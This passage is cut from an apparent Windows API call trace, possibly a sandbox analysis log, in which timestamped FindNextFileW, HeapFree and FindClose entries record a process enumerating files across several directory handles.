hHeap=0x510000) returned 1 [0142.060] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.061] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.061] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.061] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.061] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.061] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.061] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.061] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.061] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.061] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.061] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.061] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.061] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.061] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.062] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.062] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.062] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.062] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.062] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.062] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.062] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.062] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.062] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.062] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.062] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.062] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.062] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.063] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.063] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.076] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.076] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.076] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.077] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.077] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.077] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.077] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.077] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.077] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.077] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.077] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.077] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.077] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0142.077] FindClose (in: hFindFile=0x3e5c618 | out: hFindFile=0x3e5c618) returned 1 [0142.077] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0142.077] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0142.077] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0142.077] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0142.077] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 0 [0142.078] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0142.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c0050 | out: hHeap=0x510000) returned 1 [0142.123] FindNextFileW (in: hFindFile=0x3e5c398, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0142.423] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.423] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.423] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.423] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.423] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.423] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.424] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.424] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.424] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.424] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.424] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.424] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.426] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.426] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.426] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.426] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.426] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.427] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.427] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.427] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.427] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.427] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.427] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.427] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.427] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.427] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.428] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.429] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.429] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.429] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.429] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.429] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.429] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.429] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.429] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.429] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.429] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.429] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.429] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.430] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.430] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.430] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.430] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.430] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.430] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.430] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.430] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.430] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.430] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.430] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.430] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.430] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.430] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.431] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.431] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.431] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.431] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.431] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.431] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.431] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.431] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.431] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.431] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.431] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.431] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.431] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.431] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.432] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0142.432] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0142.432] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0142.432] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0142.432] FindClose (in: hFindFile=0x3e5c518 | out: hFindFile=0x3e5c518) returned 1 [0142.432] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0142.432] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 0 [0142.432] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0142.432] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c0050 | out: hHeap=0x510000) returned 1 [0142.435] FindNextFileW (in: hFindFile=0x3e5c398, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0142.437] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0142.437] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0142.437] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0142.437] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0142.437] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0142.437] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0142.437] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0142.437] FindClose (in: hFindFile=0x3e5c518 | out: hFindFile=0x3e5c518) returned 1 [0142.437] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0142.437] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 0 [0142.440] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0142.440] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c0050 | out: hHeap=0x510000) returned 1 [0142.440] FindNextFileW (in: hFindFile=0x3e5c398, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0142.440] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c0050 | out: hHeap=0x510000) returned 1 [0142.440] FindNextFileW (in: hFindFile=0x3e5c398, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0142.441] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0142.441] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0142.555] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0142.555] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0142.556] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0142.556] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.556] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0142.556] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0142.556] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0142.556] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0142.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.605] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.609] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.609] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.609] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.609] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.611] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.611] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.613] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.613] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.614] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.614] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.614] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.614] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.615] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.615] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.615] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.615] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.616] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.616] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.616] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.616] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.617] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.617] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.617] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.617] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.618] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.618] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.618] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.618] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.619] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.619] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.620] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.620] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.620] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.620] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.621] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.621] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.622] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.622] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.622] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.622] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.623] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.623] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.623] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.623] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.624] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.624] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.624] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.624] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.630] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.630] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.631] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.631] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.631] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.631] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.631] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.631] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.631] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.632] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.632] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.632] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.632] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.632] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0142.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.635] FindNextFileW (in: hFindFile=0x3e5c318, 